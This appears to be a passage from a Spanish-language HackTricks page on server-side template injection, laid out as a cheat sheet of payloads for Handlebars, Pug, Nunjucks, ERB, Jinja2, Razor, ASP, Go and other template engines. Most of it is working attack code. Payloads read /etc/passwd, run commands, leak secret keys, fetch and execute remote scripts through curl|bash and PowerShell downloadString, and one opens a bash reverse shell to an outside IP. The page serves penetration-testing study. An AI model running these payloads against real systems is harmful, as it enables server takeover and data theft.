{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
Más información
JsRender (NodeJS)
Plantilla | Descripción |
---|---|
Evalúa y renderiza la salida | |
Evalúa y renderiza la salida codificada en HTML | |
Comentario | |
y | Permite código (deshabilitado por defecto) |
- = 49
Lado del cliente
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Lado del Servidor
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Más información
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Ejemplo de renderización del lado del servidor
var pugjs = require('pug');
home = pugjs.render(injected_page)
Más información
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Sin salida
- #{7*7} = #{7*7}
- {{console.log(1)}} = Error
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Más información
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Más información
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Más información
Python
Visite la siguiente página para aprender trucos sobre bypassing de ejecución de comandos arbitrarios en python en entornos seguros:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Más información
Jinja2 (Python)
Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de Unicode, un entorno de ejecución en sandbox opcional integrado, ampliamente utilizado y con licencia BSD.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Formato de plantilla
Jinja2 es un motor de plantillas para Python. Es utilizado por Flask y otros frameworks web de Python para renderizar plantillas HTML. Las plantillas de Jinja2 se componen de bloques, variables y expresiones. Los bloques son secciones de la plantilla que pueden ser sobrescritas por plantillas que heredan de ellas. Las variables son valores que son pasados a la plantilla para ser renderizados. Las expresiones son evaluadas y renderizadas en la plantilla.
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE no dependiente de __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Más detalles sobre cómo abusar de Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Mako (Python)
Mako es un motor de plantillas de Python que también es vulnerable a la inyección de plantillas del lado del servidor (SSTI). Al igual que con Jinja, la inyección de plantillas Mako se produce cuando se permite que el usuario proporcione una entrada que se procesa como una plantilla. Para obtener más información sobre cómo abusar de Mako, consulte la siguiente referencia:
{% content-ref url="mako-ssti.md" %} mako-ssti.md {% endcontent-ref %}
<%
import os
x=os.popen('id').read()
%>
${x}
Razor (.Net)
@(2+2) <= Éxito
@() <= Éxito
@("{{code}}") <= Éxito
@ <= Éxito
@{} <= ¡ERROR!
@{ <= ¡ERROR!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
El método System.Diagnostics.Process.Start
de .NET se puede utilizar para iniciar cualquier proceso en el servidor y, por lo tanto, crear un webshell. Puede encontrar un ejemplo de aplicación web vulnerable en https://github.com/cnotin/RazorVulnerableApp
Más información
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nada<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Más información
Mojolicious (Perl)
Aunque sea perl, utiliza etiquetas como ERB en Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI en GO
Para confirmar que el motor de plantillas utilizado en el backend es Go, puedes usar estas cargas útiles:
{{ . }}
= estructura de datos que se pasa como entrada a la plantilla- Si los datos pasados son un objeto que contiene el atributo Password, por ejemplo, la carga anterior lo filtraría, pero también podrías hacer:
{{ .Password }}
{{printf "%s" "ssti" }}
= debería mostrar la cadena ssti en la respuesta{{html "ssti"}}
,{{js "ssti"}}
= Estas son algunas otras cargas útiles que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes consultar más palabras clave en el motor aquí.
Explotación de XSS
Si el servidor está usando el paquete text/template, es muy fácil lograr XSS simplemente proporcionando tu carga útil como entrada. Sin embargo, ese no es el caso con html/template ya que codifica en HTML la respuesta: {{"<script>alert(1)</script>"}}
--> <script>alert(1)</script>
Sin embargo, Go permite DEFINIR una plantilla completa y luego llamarla más tarde. La carga útil será algo como:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
Explotación de RCE
La documentación para ambos módulos html/template se puede encontrar aquí, y la documentación para el módulo text/template se puede encontrar aquí, y sí, varían mucho. Por ejemplo, en text/template, puedes llamar directamente cualquier función pública con el valor "call", sin embargo, este no es el caso con html/template.
Si quieres encontrar una RCE en go a través de SSTI, debes saber que como puedes acceder al objeto dado a la plantilla con {{ . }}
, también puedes llamar a los métodos de los objetos. Entonces, imagina que el objeto pasado tiene un método llamado System que ejecuta el comando dado, podrías abusar de él con: {{ .System "ls" }}
Por lo tanto, probablemente necesitarás el código fuente. Un código fuente potencial para algo así se verá como:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Más información
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Más exploits
Revisa el resto de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para más exploits. También puedes encontrar información interesante en las etiquetas de https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
Ayuda relacionada
Si crees que puede ser útil, lee:
Herramientas
{% embed url="https://github.com/epinna/tplmap" %}
Lista de detección de fuerza bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Práctica y referencias
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Revisa los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de NFTs exclusivos.
- Consigue el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.